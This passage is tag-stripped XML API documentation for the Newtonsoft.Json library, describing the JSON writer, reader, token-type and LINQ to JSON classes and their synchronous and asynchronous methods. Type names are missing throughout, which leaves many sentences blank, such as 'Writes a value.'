- execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Gets or sets the writer's character array pool. - - - - - Gets or sets how many s to write for each level in the hierarchy when is set to . - - - - - Gets or sets which character to use to quote attribute values. - - - - - Gets or sets which character to use for indenting when is set to . - - - - - Gets or sets a value indicating whether object names will be surrounded with quotes. - - - - - Initializes a new instance of the class using the specified . - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying . - - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the specified end token. - - The end token to write. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Specifies the type of JSON token. - - - - - This is returned by the if a read method has not been called. - - - - - An object start token. - - - - - An array start token. - - - - - A constructor start token. - - - - - An object property name. - - - - - A comment. - - - - - Raw JSON. - - - - - An integer. - - - - - A float. - - - - - A string. - - - - - A boolean. - - - - - A null token. - - - - - An undefined token. - - - - - An object end token. - - - - - An array end token. - - - - - A constructor end token. - - - - - A Date. - - - - - Byte data. - - - - - - Represents a reader that provides validation. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Sets an event handler for receiving schema validation errors. - - - - - Gets the text value of the current JSON token. - - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - - Gets the type of the current JSON token. - - - - - - Gets the .NET type for the current JSON token. - - - - - - Initializes a new instance of the class that - validates the content returned from the given . - - The to read from while validating. - - - - Gets or sets the schema. - - The schema. - - - - Gets the used to construct this . - - The specified in the constructor. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a []. - - - A [] or null if the next JSON token is null. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously ets the state of the . - - The being written. - The value being written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Gets or sets a value indicating whether the destination should be closed when this writer is closed. - - - true to close the destination when this writer is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. - - - true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. - - - - - Gets the top. - - The top. - - - - Gets the state of the writer. - - - - - Gets the path of the writer. - - - - - Gets or sets a value indicating how JSON text output should be formatted. - - - - - Gets or sets how dates are written to JSON text. - - - - - Gets or sets how time zones are handled when writing JSON text. - - - - - Gets or sets how strings are escaped when writing JSON text. - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written to JSON text. - - - - - Gets or sets how and values are formatted when writing JSON text. - - - - - Gets or sets the culture used when writing JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the destination and also flushes the destination. - - - - - Closes this writer. - If is set to true, the destination is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the end of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the end of an array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end constructor. - - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes the end of the current JSON object or array. - - - - - Writes the current token and its children. - - The to read the token from. - - - - Writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - - - - Writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - - - - Writes the token. - - The to write. - - - - Writes the specified end token. - - The end token to write. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON without changing the writer's state. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Sets the state of the . - - The being written. - The value being written. - - - - The exception thrown when an error occurs while writing JSON text. - - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class - with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Specifies how JSON comments are handled when loading JSON. - - - - - Ignore comments. - - - - - Load comments as a with type . - - - - - Specifies how duplicate property names are handled when loading JSON. - - - - - Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. - - - - - Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. - - - - - Throw a when a duplicate property is encountered. - - - - - Contains the LINQ to JSON extension methods. - - - - - Returns a collection of tokens that contains the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the descendants of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, and the descendants of every token in the source collection. - - - - Returns a collection of child properties of every object in the source collection. - - An of that contains the source collection. - An of that contains the properties of every object in the source collection. - - - - Returns a collection of child values of every object in the source collection with the given key. - - An of that contains the source collection. - The token key. - An of that contains the values of every token in the source collection with the given key. - - - - Returns a collection of child values of every object in the source collection. - - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child values of every object in the source collection with the given key. - - The type to convert the values to. - An of that contains the source collection. - The token key. - An that contains the converted values of every token in the source collection with the given key. - - - - Returns a collection of converted child values of every object in the source collection. - - The type to convert the values to. - An of that contains the source collection. - An that contains the converted values of every token in the source collection. - - - - Converts the value. - - The type to convert the value to. - A cast as a of . - A converted value. - - - - Converts the value. - - The source collection type. - The type to convert the value to. - A cast as a of . - A converted value. - - - - Returns a collection of child tokens of every array in the source collection. - - The source collection type. - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child tokens of every array in the source collection. - - An of that contains the source collection. - The type to convert the values to. - The source collection type. - An that contains the converted values of every token in the source collection. - - - - Returns the input typed as . - - An of that contains the source collection. - The input typed as . - - - - Returns the input typed as . - - The source collection type. - An of that contains the source collection. - The input typed as . - - - - Represents a collection of objects. - - The type of token. - - - - Gets the of with the specified key. - - - - - - Represents a JSON array. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Loads an from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads an from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the at the specified index. - - - - - - Determines the index of a specific item in the . - - The object to locate in the . - - The index of if found in the list; otherwise, -1. - - - - - Inserts an item to the at the specified index. - - The zero-based index at which should be inserted. - The object to insert into the . - - is not a valid index in the . - - - - - Removes the item at the specified index. - - The zero-based index of the item to remove. - - is not a valid index in the . - - - - - Returns an enumerator that iterates through the collection. - - - A of that can be used to iterate through the collection. - - - - - Adds an item to the . - - The object to add to the . - - - - Removes all items from the . - - - - - Determines whether the contains a specific value. - - The object to locate in the . - - true if is found in the ; otherwise, false. - - - - - Copies the elements of the to an array, starting at a particular array index. - - The array. - Index of the array. - - - - Gets a value indicating whether the is read-only. - - true if the is read-only; otherwise, false. - - - - Removes the first occurrence of a specific object from the . - - The object to remove from the . - - true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . - - - - - Represents a JSON constructor. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets or sets the name of this constructor. - - The constructor name. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name. - - The constructor name. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a token that can contain other tokens. - - - - - Occurs when the items list of the collection has changed, or the collection is reset. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Raises the event. - - The instance containing the event data. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Get the first child token of this token. - - - A containing the first child token of the . - - - - - Get the last child token of this token. - - - A containing the last child token of the . - - - - - Returns a collection of the child tokens of this token, in document order. - - - An of containing the child tokens of this , in document order. - - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - - A containing the child values of this , in document order. - - - - - Returns a collection of the descendant tokens for this token in document order. - - An of containing the descendant tokens of the . - - - - Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. - - An of containing this token, and all the descendant tokens of the . - - - - Adds the specified content as children of this . - - The content to be added. - - - - Adds the specified content as the first children of this . - - The content to be added. - - - - Creates a that can be used to add tokens to the . - - A that is ready to have content written to it. - - - - Replaces the child nodes of this token with the specified content. - - The content. - - - - Removes the child nodes from this token. - - - - - Merge the specified content into this . - - The content to be merged. - - - - Merge the specified content into this using . - - The content to be merged. - The used to merge the content. - - - - Gets the count of child JSON tokens. - - The count of child JSON tokens. - - - - Represents a collection of objects. - - The type of token. - - - - An empty collection of objects. - - - - - Initializes a new instance of the struct. - - The enumerable. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Gets the of with the specified key. - - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Returns a hash code for this instance. - - - A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. - - - - - Represents a JSON object. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - 